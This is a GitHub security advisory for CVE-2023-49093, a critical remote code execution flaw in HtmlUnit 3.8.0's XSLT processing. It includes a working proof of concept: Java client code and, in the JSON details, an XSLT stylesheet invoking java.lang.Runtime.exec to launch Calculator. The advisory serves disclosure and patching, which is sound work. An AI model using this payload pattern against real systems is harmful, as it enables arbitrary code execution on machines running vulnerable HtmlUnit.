ghsa-37vq-hr2f-g7h7
Vulnerability from github
Published
2023-12-04 23:13
Modified
2023-12-04 23:13
Severity ?
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Details

Summary

HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage

Details

Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)

The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor

PoC

pom.xml: <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency>

code: WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText());

test.html: ```

var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(` `) if (xslDoc.parseError.errorCode != 0) { var myErr = xslDoc.parseError; document.write("ParseError: "+myErr.reason); } else { xslt.stylesheet = xslDoc; var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); xmlDoc.async = false; xmlDoc.loadXML(""); if (xmlDoc.parseError.errorCode != 0) { var myErr = xmlDoc.parseError; document.write("Document error: " + myErr.reason); } else { xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.transform(); document.write(xslProc.output); } }

```

Impact

Remote Code Execution

Show details on source website

To clipboard 

{
   affected: [
      {
         package: {
            ecosystem: "Maven",
            name: "org.htmlunit:htmlunit",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "0",
                  },
                  {
                     fixed: "3.9.0",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
   ],
   aliases: [
      "CVE-2023-49093",
   ],
   database_specific: {
      cwe_ids: [
         "CWE-94",
      ],
      github_reviewed: true,
      github_reviewed_at: "2023-12-04T23:13:30Z",
      nvd_published_at: "2023-12-04T05:15:07Z",
      severity: "CRITICAL",
   },
   details: "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n<dependency>\n  <groupId>org.htmlunit</groupId>\n  <artifactId>htmlunit</artifactId>\n  <version>3.8.0</version>\n</dependency>\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n<script>\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\">\n   <xsl:template match=\"/\">\n     <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n     <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/>\n     <xsl:variable name=\"processString\" select=\"ob:toString($process)\"/>\n     <span><xsl:value-of select=\"$processString\"/></span>\n   </xsl:template>\n </xsl:stylesheet>`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"<s></s>\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n</script>\n```\n\n\n### Impact\nRemote Code Execution",
   id: "GHSA-37vq-hr2f-g7h7",
   modified: "2023-12-04T23:13:30Z",
   published: "2023-12-04T23:13:30Z",
   references: [
      {
         type: "WEB",
         url: "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7",
      },
      {
         type: "ADVISORY",
         url: "https://nvd.nist.gov/vuln/detail/CVE-2023-49093",
      },
      {
         type: "PACKAGE",
         url: "https://github.com/HtmlUnit/htmlunit",
      },
      {
         type: "WEB",
         url: "https://www.htmlunit.org/changes-report.html#a3.9.0",
      },
   ],
   schema_version: "1.4.0",
   severity: [
      {
         score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
         type: "CVSS_V3",
      },
   ],
   summary: "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL",
}


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